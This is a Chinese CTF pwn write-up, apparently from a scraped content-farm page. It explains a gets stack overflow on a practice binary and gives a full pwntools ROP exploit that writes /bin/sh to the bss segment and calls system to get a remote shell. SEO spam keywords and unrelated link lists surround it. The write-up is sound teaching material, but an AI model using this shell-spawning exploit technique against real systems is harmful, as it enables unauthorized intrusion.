当前位置: 首页 > wzjs >正文

企业网站管理系统下载办公软件培训

企业网站管理系统下载,办公软件培训,代理网页游戏代理,武穴市网站两学一做ida 反编译看 main 函数 gets 存在栈溢出 偏移 488 56 自带后门函数 但是没有 /bin/sh 存在可写段,我们可以利用 gets 写入 /bin/sh payload: 先将可写地址存到 rdi,然后再次调用 gets 函数来接受输入 /bin/sh 读取到 bss_addr 然后再存…

ida 反编译看 main 函数

gets 存在栈溢出

偏移 48+8 = 56

自带后门函数

但是没有 /bin/sh

存在可写段,我们可以利用 gets 写入 /bin/sh

payload:

先将可写地址存到 rdi,然后再次调用 gets 函数来接受输入 /bin/sh 读取到 bss_addr

然后再存入被改写内容的地址,作为参数,调用 system 函数即可  

payload = cyclic(offset) + p64(pop_rdi_addr) + p64(bss_addr)  + p64(gets_addr) 
payload += p64(pop_rdi_addr) + p64(bss_addr) + p64(system_addr)

编写 exp:

我们在调用 gets 函数之后并不需要返回到原来的函数中

在调用 gets 函数和 system 函数之间并不需要进行额外的栈调整

因此用不到 ret

# @author:My6n
# @time:20250523
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('node6.anna.nssctf.cn',29271)
elf = ELF('./pwn')
offset = 56
pop_rdi_addr = 0x401273
bss_addr = 0x404000
system_addr = elf.symbols['system']
gets_addr = elf.symbols['gets']
payload = cyclic(offset) + p64(pop_rdi_addr) + p64(bss_addr)  + p64(gets_addr) 
payload += p64(pop_rdi_addr) + p64(bss_addr) + p64(system_addr)
io.sendline(payload)
io.sendline(b'/bin/sh')
io.interactive()

可以打通 

 

 

http://www.dtcms.com/wzjs/400564.html

相关文章:

  • 沅江网站制作如何注册一个域名
  • 江苏省政府门户网站建设舆情网站
  • pc端自定义页设计与制作seo快速排名软件平台
  • 网站开发需要的资源深圳seo云哥
  • 香港特别行政区的土地面积seo常用工具有哪些
  • 做网站要有策划么在线bt磁力搜索
  • 做视频包的网站有哪些新闻头条今日新闻60条
  • ps cs6做网站框架的插件如何推广自己的微信号
  • 网站里面内外链接如何做高清视频线和音频线的接口类型
  • 网站要不要备案长春网络科技公司排名
  • 中小企业建站排名seo网络推广公司排名
  • 临海市网站建设网络推广代理怎么做
  • 网站建设怎么插入图片手机软文广告300字
  • php网站制作费用seo群发软件
  • wordpress切换固定链接404成都百度seo优化公司
  • 找兼职工作在家做正规网站怎么推广网站链接
  • 怎样在微信公众号里做微网站站长工具seo优化系统
  • 大连中山区网站建设培训机构网站
  • dedecms怎么做网站成都网站推广
  • 深圳市住房建设部官方网站网站软件免费下载
  • wordpress 代码高亮插件seo优化团队
  • 廊坊哪里有做网站的3d建模培训班一般多少钱
  • 公司网站出现空白页职业培训学校加盟合作
  • 怎么做自己的html网站seo排名怎么看
  • 国外美容院网站seo个人博客
  • 滁州市重点工程建设管理局网站社群营销方案
  • 网站升级建设自动推广引流app
  • 有没有专门做尾料回收的网站清远今日头条最新消息
  • 苏州市住房和城乡建设局信息网站百度自然搜索排名优化
  • 展示型网站制作服务网站制作的步骤